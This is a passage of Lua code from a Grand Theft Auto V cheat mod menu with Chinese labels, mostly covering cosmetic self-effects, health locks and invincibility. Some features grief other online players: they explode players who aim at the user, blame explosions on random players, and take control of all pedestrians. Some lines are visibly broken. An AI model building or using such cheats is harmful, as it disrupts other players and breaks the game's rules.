            if currentHealth < toLockHealth then
                ENTITY.SET_ENTITY_HEALTH(localPed, toLockHealth)
            end
        end
    end)
end)

lockHealthSlider = GTLuaScript.slider(healthandprotex, "低于多少%血量", { "rlockhealth" }, "锁定前到达的最低血量，单位%", 10, 100, 50, 10, function(value)
    local maxHealth = ENTITY.GET_ENTITY_MAX_HEALTH(PLAYER.PLAYER_PED_ID())
    toLockHealth = maxHealth * value / 100
end)

GTD(healthandprotex, "通知")

GTAC(healthandprotex, "通知当前血量和最大血量", {}, "", function()
    notifyhealth()
end)

GTAC(healthandprotex, "通知当前护甲和最大护甲", {}, "", function()
    notifyarmor()
end)

GTD(healthandprotex, "生命娱乐")

GTTG(healthandprotex, '心跳声', {''}, '', function(f)
    xintiao = f
    while xintiao do
        pped = players.user_ped(players.user())
        wait(400)
        FIRE.ADD_EXPLOSION(0,-1500,100, 58, 0.0, true, false, 0.0, true)
        wait(200)
        FIRE.ADD_EXPLOSION(0,-1500,100, 58, 0.0, true, false, 0.0, true)
    end
end)

GTTG(healthandprotex, '站着拉屎', {''}, '', function(f)     
    lashi = f     
    STREAMING.REQUEST_MODEL(util.joaat("prop_big_shit_02"))     
    if STREAMING.HAS_MODEL_LOADED(util.joaat("prop_big_shit_02")) then         
        while lashi do             
            for i=0, 31 do                 
                if players.exists(i) then                     
                    local player_pos = ENTITY.GET_OFFSET_FROM_ENTITY_IN_WORLD_COORDS(players.user_ped(), 0.0, 0, -0.2)                     
                    local bags = OBJECT.CREATE_OBJECT_NO_OFFSET(util.joaat("prop_big_shit_02"),player_pos.x, player_pos.y, player_pos.z, true, false, false)                     
                    ENTITY.SET_ENTITY_NO_COLLISION_ENTITY(bags, players.user_ped(), false)                     
                    ENTITY.SET_ENTITY_HEADING(bags, ENTITY.GET_ENTITY_HEADING(PLAYER.GET_PLAYER_PED(pid)))                     
                    ENTITY.SET_ENTITY_COORDS_NO_OFFSET(bags, player_pos.x, player_pos.y, player_pos.z-0.2, true, true, true)                 
                end                 
                wait(10)             
            end         
        end     
    end     
    lashi = false 
end)

local proofsList = GT(selflist, "伤害避免", {}, "自定义无敌")
local immortalityCmd = GTLuaScript.ref_by_path("Self>Immortality")
for _,data in pairs(proofs) do
    GTTG(proofsList, data.name, {data.name:lower().."proof"}, "让您对"..data.name:lower().."伤害避免", function(toggle)
        data.on = toggle
    end)
end
util.create_tick_handler(function()
    local local_player = players.user_ped()
    if not GTLuaScript.get_value(immortalityCmd) then
        ENTITY.SET_ENTITY_PROOFS(local_player, proofs.bullet.on, proofs.fire.on, proofs.explosion.on, proofs.collision.on, proofs.melee.on, proofs.steam.on, false, proofs.drown.on)
    end
end)

aimkrma = GT(selflist, "子弹反弹", {}, "你可以对瞄准您的人做点什么")
karma = {}

playerIsTargetingEntity = function(playerPed)
    local playerList = players.list(true, true, true)
    for k, playerPid in pairs(playerList) do
        if PLAYER.IS_PLAYER_TARGETTING_ENTITY(playerPid, playerPed) or PLAYER.IS_PLAYER_FREE_AIMING_AT_ENTITY  (playerPid, playerPed) then 
            if not isWhitelisted(playerPid) then
                karma[playerPed] = {
                    pid = playerPid, 
                    ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(playerPid)
                }
                return true 
            end
        end
    end
    karma[playerPed] = nil
    return false 
end

explodePlayer = function(ped, loop)
    local pos = ENTITY.GET_ENTITY_COORDS(ped)
    local blamedPlayer = PLAYER.PLAYER_PED_ID() 
    if blameExpPlayer and blameExp then 
        blamedPlayer = PLAYER.GET_PLAYER_PED(blameExpPlayer)
    elseif blameExp then
        local playerList = players.list(true, true, true)
        blamedPlayer = PLAYER.GET_PLAYER_PED(math.random(0, #playerList))
    end
    if not loop and PED.IS_PED_IN_ANY_VEHICLE(ped, true) then
        for i = 0, 50, 1 do
            if ownExp or blameExp then 
                owned_explosion(blamedPlayer, pos)
            else
                explosion(pos)
            end
            wait(10)
        end
    elseif ownExp or blameExp then
        owned_explosion(blamedPlayer, pos)
    else
        explosion(pos)
    end
    wait(10)
end

GTLP(aimkrma, "射击", {}, "", function()
    if playerIsTargetingEntity(PLAYER.PLAYER_PED_ID()) and karma[PLAYER.PLAYER_PED_ID()] then
        local pos = ENTITY.GET_ENTITY_COORDS(karma[PLAYER.PLAYER_PED_ID()].ped)
        MISC.SHOOT_SINGLE_BULLET_BETWEEN_COORDS(pos.x, pos.y, pos.z, pos.x, pos.y, pos.z +0.1, 100, true, 100416529, PLAYER.PLAYER_PED_ID(), true, false, 100.0)
        wait(loopdelayMS + (loopdelaySEC * 1000) + (loopdelayMIN * 1000 * 60))
    end
end)

GTLP(aimkrma, "爆炸", {}, "", function()
    if playerIsTargetingEntity(PLAYER.PLAYER_PED_ID()) and karma[PLAYER.PLAYER_PED_ID()] then
        explodePlayer(karma[PLAYER.PLAYER_PED_ID()].ped, true)
    end
end)

GTLuaScript.slider_text(funfeatures_self, "获取鸡巴", {}, "请选择你的鸡巴", opt_pp, function(index, value, click_type)
    getbigjb(index, value, click_type)
end)

GTLP(funfeatures_self, "彩虹魂环", {"rainbowmark"}, "", function(f)
    fku()
end)

GTLP(funfeatures_self, "变成粉色球球", {}, "", function(toggle)
    local c = ENTITY.GET_ENTITY_COORDS(players.user_ped())
    local radius = 2 
    local segments = 16 
    local step = 2 * math.pi / segments
    local coords = {}
    for i = 0, segments do
      local x = c.x + radius * math.cos(i * step)
      local y = c.y + radius * math.sin(i * step)
    end
    for i = 1, #coords-1 do
      GRAPHICS.DRAW_LINE(coords[i].x, coords[i].y, coords[i].z, coords[i+1].x, coords[i+1].y, coords[i+1].z, 0, 255, 255, 255)
    end
    GRAPHICS._DRAW_SPHERE(c.x, c.y, c.z, 1.2, 255, 201, 212, 255)
    --[[GRAPHICS.DRAW_LINE(c.x, c.y, c.z - radius, c.x, c.y, c.z + radius, 0, 0, 255, 255)
    GRAPHICS.DRAW_LINE(c.x, c.y, c.z - radius, c.x+ 2, c.y, c.z + radius, 0, 0, 255, 255)
    GRAPHICS.DRAW_LINE(c.x, c.y, c.z - radius, c.x, c.y+ 2, c.z + radius, 0, 0, 255, 255)
    GRAPHICS.DRAW_LINE(c.x, c.y, c.z - radius, c.x, c.y, c.z +  2, 0, 0, 255, 255)
    GRAPHICS.DRAW_LINE(c.x, c.y, c.z - radius, c.x - 2, c.y, c.z + radius, 0, 0, 255, 255)
    GRAPHICS.DRAW_LINE(c.x, c.y, c.z - radius, c.x, c.y - 2, c.z + radius, 0, 0, 255, 255)
    GRAPHICS.DRAW_LINE(c.x, c.y, c.z - radius, c.x, c.y , c.z - 2, 0, 0, 255, 255)
    GRAPHICS.DRAW_LINE(c.x, c.y, c.z - radius, c.x, c.y , c.z - 1, 0, 0, 255, 255)
    GRAPHICS.DRAW_LINE(c.x, c.y, c.z - radius, c.x, c.y - 1, c.z , 0, 0, 255, 255)
    GRAPHICS.DRAW_LINE(c.x, c.y, c.z - radius, c.x- 1, c.y , c.z , 0, 0, 255, 255)
    GRAPHICS.DRAW_LINE(c.x, c.y, c.z - radius, c.x+ 1, c.y , c.z , 0, 0, 255, 255)
    GRAPHICS.DRAW_LINE(c.x, c.y, c.z - radius, c.x, c.y+ 1 , c.z , 0, 0, 255, 255)
    GRAPHICS.DRAW_LINE(c.x, c.y, c.z - radius, c.x, c.y , c.z + 1, 0, 0, 255, 255)]]
end)

colorgg2 = {r = 255, g = 0, b = 0 ,a = 255}
local counter2 = 0
GTLP(funfeatures_self, "次元空间", {""}, "", function(f)
    if PED.IS_PED_A_PLAYER(players.user_ped()) then
    local pos = ENTITY.GET_ENTITY_COORDS(players.user_ped())
    local c = players.get_position(players.user())
    counter2 = counter2 + 1
    if counter2 >= 30 then 
        colorgg2.r = math.random(0, 255)
        colorgg2.g = math.random(0, 255)
        colorgg2.b = math.random(0, 255)
        counter2 = 0
    end
    WIRI_GRAPHICS.DRAW_MARKER(1, c.x, c.y, c.z-0.90, 0, 0, 0, 0, 0, 0, 2, 2, 8, colorgg2.r, colorgg2.b, colorgg2.g, colorgg2.a, false, true, 2, 2, 0, 0, false)
    end
end)

colorgg = {r = 255, g = 0, b = 0 ,a = 255}
local counter = 0
GTLP(funfeatures_self, "次元空间2", {""}, "", function(f)
    if PED.IS_PED_A_PLAYER(players.user_ped()) then
        local pos = ENTITY.GET_ENTITY_COORDS(players.user_ped())
        local c = players.get_position(players.user())
        counter = counter + 1
        if counter >= 30 then 
            colorgg.r = math.random(0, 255)
            colorgg.g = math.random(0, 255)
            colorgg.b = math.random(0, 255)
        counter = 0
        end
        WIRI_GRAPHICS.DRAW_MARKER(43, c.x, c.y, c.z-0.90, 0, 0, 0, 0, 0, 0, 2, 2, 8, colorgg.r, colorgg.b, colorgg.g, colorgg.a, false, true, 2, 0, 0, 0, false)
    end
end)

GTLP(funfeatures_self, "龙珠附体", {""}, "", function(f)
if PED.IS_PED_A_PLAYER(players.user_ped()) then
    pos = ENTITY.GET_ENTITY_COORDS(players.user_ped())
    local c = players.get_position(players.user())
        for i=1,16 do
            theta = math.pi*i/8
            x = 2*math.sin(theta)
            y = 2*math.cos(theta)
            WIRI_GRAPHICS.DRAW_MARKER(28, c.x+x, c.y+y, c.z+0.5, 0, 0, 0, 90, 90, 0, 0.3, 0.3, 0.3, 255, 255, 0, 255, true, true, 2, 0, 0, 0, false)
        end
    end
end)
--
iss = 360
GTLP(funfeatures_self,"翻跟斗", {}, "使用滑鼠操控方向\n一直翻到昏天黑地喔~", function()
    ent_func.has_anim_dict_loaded("misschinese2_crystalmaze")
    TASK.TASK_PLAY_ANIM(players.user_ped(), "misschinese2_crystalmaze", "2int_loop_a_taotranslator", 8.0, 8.0, -1, 0, 0.0, 0, 0, 0)
    local cam_rot = CAM.GET_GAMEPLAY_CAM_ROT(0)
    local user_rot = ENTITY.GET_ENTITY_ROTATION(players.user_ped(), 0)
    local fwd_vect = ENTITY.GET_ENTITY_FORWARD_VECTOR(players.user_ped())
    local speed = ENTITY.GET_ENTITY_SPEED(players.user_ped()) * 2.236936
    PED.SET_PED_CAN_RAGDOLL(players.user_ped(), false)
    ENTITY.SET_ENTITY_ROTATION(players.user_ped(), iss, user_rot.y, cam_rot.z, 2, true)
    if speed <= 70 then
        ENTITY.APPLY_FORCE_TO_ENTITY(players.user_ped(), 3, fwd_vect.x, fwd_vect.y, 0.0, 0.0, 0.0, 0.0, 0.0, false, false, true, false, false)
    end
    if iss <= 0 then iss = 360 else iss = iss - 6 end
    end, function()
    wait(100)
    PED.SET_PED_CAN_RAGDOLL(players.user_ped(), true)
    TASK.STOP_ANIM_TASK(players.user_ped(), "misschinese2_crystalmaze", "2int_loop_a_taotranslator", 1)
end)

GTTG(funfeatures_self,"混乱红绿灯", {""}, "", function(f)
jiaotong = f
    while jiaotong do
        local obs = entities.get_all_objects_as_handles()
        for i=1, #obs do
            if obs[i] == 1043035044 or 862871082 or 3639322914 then
                ENTITY.SET_ENTITY_TRAFFICLIGHT_OVERRIDE(obs[i], math.random(0, 2))
            end
        end
        wait(30)
    end
end)

GTLP(funfeatures_self, "忍者", {""}, "忍者式奔跑(允许携带武器)", function()
    local dict = "swimming@scuba"
    local name = "dive_glide"
    request_animation(dict)
    if not ENTITY.IS_ENTITY_PLAYING_ANIM(players.user_ped(), dict, name, 3) and not TASK.GET_IS_TASK_ACTIVE(players.user_ped(), 56) then
        TASK.TASK_PLAY_ANIM(players.user_ped(), dict, name, 5.0, 2.5, -1, 1|16|32, 1.0, false, false, false)
    elseif ENTITY.IS_ENTITY_PLAYING_ANIM(players.user_ped(), dict, name, 3) and (TASK.IS_PED_WALKING(players.user_ped()) or TASK.IS_PED_STILL(players.user_ped()) or PED.IS_PED_JUMPING(players.user_ped()))
    or TASK.GET_IS_TASK_ACTIVE(players.user_ped(), 56) or PLAYER.IS_PLAYER_FREE_AIMING(players.user()) or PED.IS_PED_RELOADING(players.user_ped()) then
        TASK.STOP_ANIM_TASK(players.user_ped(), dict, name, -69.0)
    end
end, function()
    TASK.CLEAR_PED_TASKS(players.user_ped())
end)

local obj
GTTG(funfeatures_self, "神的庇护", {'godbaohu'}, "将神力依附在您身上,使您不可接触", function(toggled)
    local mdl = util.joaat("p_spinning_anus_s")
    local pos = players.get_position(players.user())
    RequestModel(mdl)
    if toggled then
        obj = entities.create_object(mdl, pos)
        ENTITY.SET_ENTITY_VISIBLE(obj, false)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(obj, players.user_ped(), 0, 0, 0, 0, 0, 0, 0, false, false, true, false, 0, false, 0)
    else
        if obj ~= nil then 
            entities.delete_by_handle(obj)
        end
    end
end)

GTLP(funfeatures_self, "斗罗魂环", {""}, "", function ()
    hunhuan9()
end)

startgt = GTTG(funfeatures_self, "启动界面", {"jiemian"}, "", huanyingjiemian) 
menu.trigger_commands("jiemian on")
menu.set_visible(startgt, false)

local bounce_height = 15
GTLuaScript.slider(funfeatures_self,"水上蹦床高度", {"waterjumpheight"}, "", 1, 100, 15, 1, function(count)
	bounce_height = count
end)

GTLP(funfeatures_self, "水上蹦床", {}, "", function()
	if PED.IS_PED_IN_ANY_VEHICLE(players.user_ped(), false) then
		if ENTITY.IS_ENTITY_IN_WATER(entities.get_user_vehicle_as_handle(false)) then
			local vel = v3.new(ENTITY.GET_ENTITY_VELOCITY(entities.get_user_vehicle_as_handle(false)))
			ENTITY.SET_ENTITY_VELOCITY(entities.get_user_vehicle_as_handle(false), vel.x, vel.y, bounce_height)
		end
	else
		if ENTITY.IS_ENTITY_IN_WATER(players.user_ped()) then
			local vel = v3.new(ENTITY.GET_ENTITY_VELOCITY(entities.get_user_vehicle_as_handle(false)))
			ENTITY.SET_ENTITY_VELOCITY(players.user_ped(), vel.x, vel.y, bounce_height)
		end
	end
end)

GTTG(funfeatures_self, '人物旋转', {''}, '', function(f)
xuanzhuan = f
    while xuanzhuan do
    wait(0)
    ENTITY.APPLY_FORCE_TO_ENTITY(players.user_ped(players.user()), 5, 200.0000001, 8207.0, 89207.8207, 10.0, 10.0, 100.0, 10000.0, false, true)
    end
end)

GTTG(funfeatures_self, '旋转抽搐', {''}, '', function(f) 
    xuanzhuan = f     
    while xuanzhuan do         
        ENTITY.SET_ENTITY_ROTATION(players.user_ped(players.user()), math.random(-180, 180), math.random(-180, 180), math.random(-180, 180), 0, true)         
        wait()     
    end 
end)

GTLP(funfeatures_self,"旋转抽搐(全局)", {""}, "", function(on)
    for k, peds in pairs(entities.get_all_peds_as_handles()) do
    NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(peds)
    local rand_1 = ENTITY.GET_OFFSET_FROM_ENTITY_IN_WORLD_COORDS(peds, math.random(-500, 500), math.random(-500, 500), 300.0)
        if not PAD.IS_CONTROL_PRESSED(71, 71) then
            ENTITY.SET_ENTITY_ROTATION(peds, rand_1['x'], rand_1['y'], rand_1['z'])
        end
    end
end)

GTTG(funfeatures_self, "陆地游泳",  {""}, "", function(state)
    bar = state       
    while bar do
    PED.SET_PED_CONFIG_FLAG(players.user_ped(players.user()), 65, 81)
    wait(0)
    end
    bar = false
end)
    
GTTG(funfeatures_self, "遮天盖地烟花盛宴", {""}, "非自身范围,建议晚上观赏", function (f)
    util.toast("咻咻咻~新年快乐鸭~")
    yanhua = f 
    while yanhua do
        wait(0)
        local tar = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        local pos_tar = ENTITY.GET_ENTITY_COORDS(tar, true)
        if ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(pid)) then
        FIRE.ADD_EXPLOSION(pos_tar.x + math.random(-100, 100), pos_tar.y + math.random(-100, 100), pos_tar.z + math.random(0, 100), 38, 1, true, false, 0, true)
        end
    end
    yanhua = false
end)

GTTG(funfeatures_self, '原子能拳头', {''}, '', function(f)
buff = f
while buff do
    wait()
    local ped = PLAYER.PLAYER_PED_ID()
    local coords = v3.new()
    if WEAPON.GET_PED_LAST_WEAPON_IMPACT_COORD(ped, coords) then
        FIRE.ADD_EXPLOSION(coords.x, coords.y, coords.z, 70, 1.0, true, false, 0.0, false)
        wait(5)
    end
    end
    buff = false
end)

GTTG(funfeatures_self, '爆炸拳头', {''}, '', function(f)
buffex = f
while buffex do
    wait()
    local ped = PLAYER.PLAYER_PED_ID()
    local coords = v3.new()
    if WEAPON.GET_PED_LAST_WEAPON_IMPACT_COORD(ped, coords) then
        FIRE.ADD_EXPLOSION(coords.x, coords.y, coords.z, 2, 1.0, true, false, 0.0, false)
        wait(5)
    end
    end
    buffex = false
end)
    
GTTG(funfeatures_self, '原子爆炸枪', {''}, '', function(k)
quantou = k
    while quantou do
        local ped = PLAYER.PLAYER_PED_ID()
        local coords = v3.new()
        local bool_rtn, v3_coord = WEAPON.GET_PED_LAST_WEAPON_IMPACT_COORD(ped, coords)
        if bool_rtn then 
            FIRE.ADD_EXPLOSION(coords.x, coords.y, coords.z, 59, 1.0, true, false, 0.0, false)
            GRAPHICS.USE_PARTICLE_FX_ASSET("scr_xm_orbital")
            while not STREAMING.HAS_NAMED_PTFX_ASSET_LOADED("scr_xm_orbital") do
                STREAMING.REQUEST_NAMED_PTFX_ASSET("scr_xm_orbital")
                wait(0)
            end
            GRAPHICS.START_NETWORKED_PARTICLE_FX_NON_LOOPED_AT_COORD("scr_xm_orbital_blast", coords.x, coords.y, coords.z, 0, 180, 0, 1.0, true, true, true) 
        end
        wait()
    end
    quantou = false
end)

rotation = 0
loop_count = 0
dict, name
GTLP(funfeatures_self,"霹雳舞", {}, "倒头旋转", function()
    if loop_count <= 200 then
        dict = "missfbi5ig_20b"
        name = "hands_up_scientist"
    elseif loop_count <= 400 then
        dict = "nm@hands"
        name = "hands_up"
    elseif loop_count <= 600 then
        dict = "missheist_agency2ahands_up"
        name = "handsup_anxious"
    elseif loop_count <= 800 then
        dict = "missheist_agency2ahands_up"
        name = "handsup_loop"
    end

    ENTITY.SET_ENTITY_ROTATION(players.user_ped(), 180, 0, rotation, 1, true)
    ent_func.has_anim_dict_loaded(dict)
    TASK.TASK_PLAY_ANIM(players.user_ped(), dict, name, 8.0, 0, -1, 0, 0.0, 0, 0, 0)
 
    rotation = rotation + 5
    if loop_count < 1000 then
        loop_count = loop_count + 1
    else
        loop_count = 0
    end
end, function()
    TASK.CLEAR_PED_TASKS_IMMEDIATELY(players.user_ped())
end)

GTAC(funfeatures_self, '定时炸弹', {''}, '滴滴滴...Boom!!!', function()
    if not rocket_man_bool then
        rocket_man_bool = true
        PED.SET_PED_TO_RAGDOLL(players.user_ped(), 2500, 0, 0, false, false, false)
        local forces = {10, 15, 20, 20, 20, 10, 10, 10, 10, 10, 10}
        local delays = {1000, 900, 800, 700, 600, 500, 400, 300, 200, 175, 125}
        
        for i = 1, #forces do
            ENTITY.APPLY_FORCE_TO_ENTITY(players.user_ped(), 3, 0.0, 0.0, forces[i], 0.0, 0.0, 0.0, 0, false, false, true, false, false)
            local pos = ENTITY.GET_ENTITY_COORDS(players.user_ped())
            ent_func.use_fx_asset("cut_xm3")
            GRAPHICS.START_NETWORKED_PARTICLE_FX_NON_LOOPED_AT_COORD("cut_xm3_rpg_explosion", pos.x, pos.y, pos.z-0.5, 0, 0, 0, 1.0, true, true, true)
            AUDIO.PLAY_SOUND_FROM_ENTITY(-1, "Bomb_Countdown_Beep", players.user_ped(), "DLC_MPSUM2_ULP2_Rogue_Drones", true, false)
            wait(delays[i])
        end
    
        for i=1,2 do
            local delay = util.current_time_millis() + 500
            repeat
                ENTITY.APPLY_FORCE_TO_ENTITY(players.user_ped(), 3, 0.0, 0.0, 10, 0.0, 0.0, 0.0, 0, false, false, true, false, false)
                pos = ENTITY.GET_ENTITY_COORDS(players.user_ped())
                ent_func.use_fx_asset("cut_xm3")
                GRAPHICS.START_NETWORKED_PARTICLE_FX_NON_LOOPED_AT_COORD("cut_xm3_rpg_explosion", pos.x, pos.y, pos.z-0.5, 0, 0, 0, 1.0, true, true, true)
                AUDIO.PLAY_SOUND_FROM_ENTITY(-1, "Bomb_Countdown_Beep", players.user_ped(), "DLC_MPSUM2_ULP2_Rogue_Drones", true, false)
                wait(i == 1 and 100 or 10)
            until delay <= util.current_time_millis()
        end
    
        AUDIO.PLAY_SOUND_FROM_ENTITY(-1, "Bomb_Detonate", players.user_ped(), "DLC_MPSUM2_ULP2_Rogue_Drones", true, false)
        pos = ENTITY.GET_ENTITY_COORDS(players.user_ped())
        ent_func.use_fx_asset("scr_xm_orbital")
        GRAPHICS.START_NETWORKED_PARTICLE_FX_NON_LOOPED_AT_COORD("scr_xm_orbital_blast", pos.x, pos.y, pos.z, 0, 180, 0, 1.0, true, true, true)
    
        STREAMING.REMOVE_NAMED_PTFX_ASSET("cut_xm3")
        STREAMING.REMOVE_NAMED_PTFX_ASSET("scr_xm_orbital")
        rocket_man_bool = false
    end
end)

GTluaScript.click_slider(funfeatures_self, "缩小NPC", {""}, "本地可见, 1 = 缩小, 2 = 恢复", 1, 2, 1, 1, function(NPCON)
    if NPCON == 1 then	
        wait(0)
        local peds = entities.get_all_peds_as_handles()
        for i = 1, #peds do
            if not PED.IS_PED_A_PLAYER(peds[i]) then
                NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(peds[i])
                PED.SET_PED_CONFIG_FLAG(peds[i], 223, true)
            end
        end
    end
    if NPCON == 2 then
    wait(0)
        local peds = entities.get_all_peds_as_handles()
        for i = 1, #peds do
            if not PED.IS_PED_A_PLAYER(peds[i]) then
                NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(peds[i])
                PED.SET_PED_CONFIG_FLAG(peds[i], 223, false)
            end
        end
    end
end)

sessionfun = GT(funfeatures_self, "各种战局玩乐", {}, "我们将大部分娱乐功能分类此列表中,如果您想寻找更多玩乐,请点击进入~", function(); end)
super_xrays = GT(funfeatures_self, "超人模式", {}, "", function(); end)
renwuxuanxiang = GT(funfeatures_self, "人物选项")
dongwuxuanxiang = GT(funfeatures_self, "动物选项")
texiao = GT(funfeatures_self, "特效选项", {}, "#建议您成为脚本主机后使用\n部分特效关闭后战局玩家仍可见,所以请您关闭特效后自杀一次即可", function(); end)  
wushidao = GT(funfeatures_self, "娱乐武器", {}, "", function(); end)
quantoutexiao = GT(funfeatures_self, "拳头特效", {}, "", function(); end)
jigaungyan = GT(funfeatures_self, "激光眼", {}, "", function(); end)
dachuizi = GT(funfeatures_self, "大锤", {}, "", function(); end)
toubushuzi = GT(funfeatures_self, "头部显示", {}, "", function(); end)
chonglangban = GT(funfeatures_self, "冲浪板", {}, "背在身上", function(); end)
huorentexiao = GT(funfeatures_self, "火人", {}, "自燃", function(); end)
local _LR = GT(funfeatures_self, '翅膀选项', {}, '')
local firebreath = GT(funfeatures_self, '喷火', {}, '')
        
GTTG(_LR, '火翅膀', {'JSfireWings'}, '将附有火焰的翅膀附加在您的背上.', function (toggle)
firewing(toggle)
end)

GTLuaScript.slider(_LR, '火翅膀比例', {'JSfireWingsScale'}, '', 1, 100, 3, 1, function(value)
firewingscale(value)
end)

GTLuaScript.rainbow(GTLuaScript.colour(_LR, '火翅膀颜色', {'JSfireWingsColour'}, '', fireWingsSettings.colour, false, function(colour)
firewingcolour(colour)
end))

GTTG(_LR, "火翅膀v2",{""}, "",function(toggle)
fireWingsSettingse.on = toggle
if fireWingsSettingse.on then
 ENTITY.SET_ENTITY_PROOFS(players.user_ped(), false, true, false, false, false, false, 1, false)
if ptfxEgg == nil then
local eggHash = 1803116220
loadModel(eggHash)
ptfxEgg = entities.create_object(eggHash, ENTITY.GET_ENTITY_COORDS(players.user_ped()))
ENTITY.SET_ENTITY_COLLISION(ptfxEgg, false, false)
STREAMING.SET_MODEL_AS_NO_LONGER_NEEDED(eggHash)
end
for i = 1, #fireWingse do
while not STREAMING.HAS_NAMED_PTFX_ASSET_LOADED('weap_xs_vehicle_weapons') do
STREAMING.REQUEST_NAMED_PTFX_ASSET('weap_xs_vehicle_weapons')
wait()
end
GRAPHICS.USE_PARTICLE_FX_ASSET('weap_xs_vehicle_weapons')
fireWingse[i].ptfx = GRAPHICS.START_NETWORKED_PARTICLE_FX_LOOPED_ON_ENTITY('muz_xs_turret_flamethrower_looping', ptfxEgg, 0, 0, 0, fireWingse[i].pos[1], 0, fireWingse[i].pos[2], fireWingsSettingse.scalee, false, false, false)
util.create_tick_handler(function()
local rot = ENTITY.GET_ENTITY_ROTATION(players.user_ped(), 2)
ENTITY.ATTACH_ENTITY_TO_ENTITY(ptfxEgg, players.user_ped(), -1, 0, 0, 0.2, rot.x, rot.y, rot.z, false, false, false, false, 0, false)
ENTITY.SET_ENTITY_ROTATION(ptfxEgg, rot.x, rot.y, rot.z, 2, true)
for i = 1, #fireWingse do
GRAPHICS.SET_PARTICLE_FX_LOOPED_SCALE(fireWingse[i].ptfx, fireWingsSettingse.scalee)
GRAPHICS.SET_PARTICLE_FX_LOOPED_COLOUR(fireWingse[i].ptfx, fireWingsSettingse.colour.r, fireWingsSettingse.colour.g, fireWingsSettingse.colour.b)
end
ENTITY.SET_ENTITY_VISIBLE(ptfxEgg, false)
return fireWingsSettingse.on
end)
end
else
for i = 1, #fireWingse do
if fireWingse[i].ptfx then
GRAPHICS.REMOVE_PARTICLE_FX(fireWingse[i].ptfx, true)
fireWingse[i].ptfx = nil
end
if ptfxEgg then
entities.delete_by_handle(ptfxEgg)
ptfxEgg = nil
end
end
STREAMING.REMOVE_NAMED_PTFX_ASSET('weap_xs_vehicle_weapons')
end
end)

GTTG(_LR, "水翅膀",{""}, "",function(toggle)
fireWingsSettingse.on = toggle
if fireWingsSettingse.on then
 ENTITY.SET_ENTITY_PROOFS(players.user_ped(), false, true, false, false, false, false, 1, false)
if ptfxEgg == nil then
local eggHash = 1803116220
loadModel(eggHash)
ptfxEgg = entities.create_object(eggHash, ENTITY.GET_ENTITY_COORDS(players.user_ped()))
ENTITY.SET_ENTITY_COLLISION(ptfxEgg, false, false)
STREAMING.SET_MODEL_AS_NO_LONGER_NEEDED(eggHash)
end
for i = 1, #fireWingse do
while not STREAMING.HAS_NAMED_PTFX_ASSET_LOADED('scr_oddjobtraffickingair') do
STREAMING.REQUEST_NAMED_PTFX_ASSET('scr_oddjobtraffickingair')
wait()
end
GRAPHICS.USE_PARTICLE_FX_ASSET('scr_oddjobtraffickingair')
fireWingse[i].ptfx = GRAPHICS.START_NETWORKED_PARTICLE_FX_LOOPED_ON_ENTITY('scr_mp_intro_plane_exhaust', ptfxEgg, 0, 0, 0.1, fireWingse[i].pos[1], 0, fireWingse[i].pos[2], fireWingsSettingse.scalee, false, false, false)
util.create_tick_handler(function()
local rot = ENTITY.GET_ENTITY_ROTATION(players.user_ped(), 2)
ENTITY.ATTACH_ENTITY_TO_ENTITY(ptfxEgg, players.user_ped(), -1, 0, 0, 0, rot.x, rot.y, rot.z, false, false, false, false, 0, false)
ENTITY.SET_ENTITY_ROTATION(ptfxEgg, rot.x, rot.y, rot.z, 2, true)
for i = 1, #fireWingse do
GRAPHICS.SET_PARTICLE_FX_LOOPED_SCALE(fireWingse[i].ptfx, fireWingsSettingse.scalee)
GRAPHICS.SET_PARTICLE_FX_LOOPED_COLOUR(fireWingse[i].ptfx, fireWingsSettingse.colour.r, fireWingsSettingse.colour.g, fireWingsSettingse.colour.b)
end
ENTITY.SET_ENTITY_VISIBLE(ptfxEgg, false)
return fireWingsSettingse.on
end)
end
else
for i = 1, #fireWingse do
if fireWingse[i].ptfx then
GRAPHICS.REMOVE_PARTICLE_FX(fireWingse[i].ptfx, true)
fireWingse[i].ptfx = nil
end
if ptfxEgg then
entities.delete_by_handle(ptfxEgg)
ptfxEgg = nil
end
end
STREAMING.REMOVE_NAMED_PTFX_ASSET('scr_oddjobtraffickingair')
end
end)

local active_rideable_animal = 0

util.create_tick_handler(function()
    if active_rideable_animal ~= 0 then 
        if PAD.IS_CONTROL_JUST_PRESSED(23, 23) then 
            ENTITY.DETACH_ENTITY(players.user_ped())
            entities.delete_by_handle(active_rideable_animal)
            TASK.CLEAR_PED_TASKS_IMMEDIATELY(players.user_ped())
            active_rideable_animal = 0
        end

        if not ENTITY.IS_ENTITY_IN_AIR(active_rideable_animal) then 
            if PAD.IS_CONTROL_PRESSED(32, 32) then 
                local side_move = PAD.GET_CONTROL_NORMAL(146, 146)
                local fwd = ENTITY.GET_OFFSET_FROM_ENTITY_IN_WORLD_COORDS(active_rideable_animal, side_move*10.0, 8.0, 0.0)
                TASK.TASK_LOOK_AT_COORD(active_rideable_animal, fwd.x, fwd.y, fwd.z, 0, 0, 2)
                TASK.TASK_GO_STRAIGHT_TO_COORD(active_rideable_animal, fwd.x, fwd.y, fwd.z, 20.0, -1, ENTITY.GET_ENTITY_HEADING(active_rideable_animal), 0.5)
            end
            if PAD.IS_CONTROL_JUST_PRESSED(76, 76) then 
                local w = {}
                w.x, w.y, w.z, _ = players.get_waypoint(players.user())
                if w.x == 0.0 and w.y == 0.0 then 
                    notify(translations.no_waypoint_set)
                else
                    TASK.TASK_FOLLOW_NAV_MESH_TO_COORD(active_rideable_animal, w.x, w.y, w.z, 1.0, -1, 100, 0, 0)
                end
            end
        end
    end
end)

GTTG(_LR, "金色翅膀", {"wring"}, "如果不起作用,那么就是bug", function(on_toggle)

	if on_toggle then	
	local pos = ENTITY.GET_ENTITY_COORDS(PLAYER.PLAYER_PED_ID(), true)
	local wings = OBJECT.CREATE_OBJECT(util.joaat("vw_prop_art_wings_01a"), pos.x, pos.y, pos.z, true, true, true)
	STREAMING.SET_MODEL_AS_NO_LONGER_NEEDED(util.joaat("vw_prop_art_wings_01a"))
